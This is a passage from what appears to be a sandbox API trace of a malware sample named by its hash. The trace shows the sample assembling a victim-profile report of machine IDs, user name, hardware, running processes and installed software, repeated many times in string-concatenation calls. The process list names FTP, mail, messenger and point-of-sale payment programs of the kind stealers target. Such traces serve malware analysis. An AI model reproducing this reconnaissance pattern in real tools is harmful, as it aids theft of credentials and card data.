active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]"
[0054.979] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\n"
[0054.979] RegCloseKey (hKey=0x514) returned 0x0
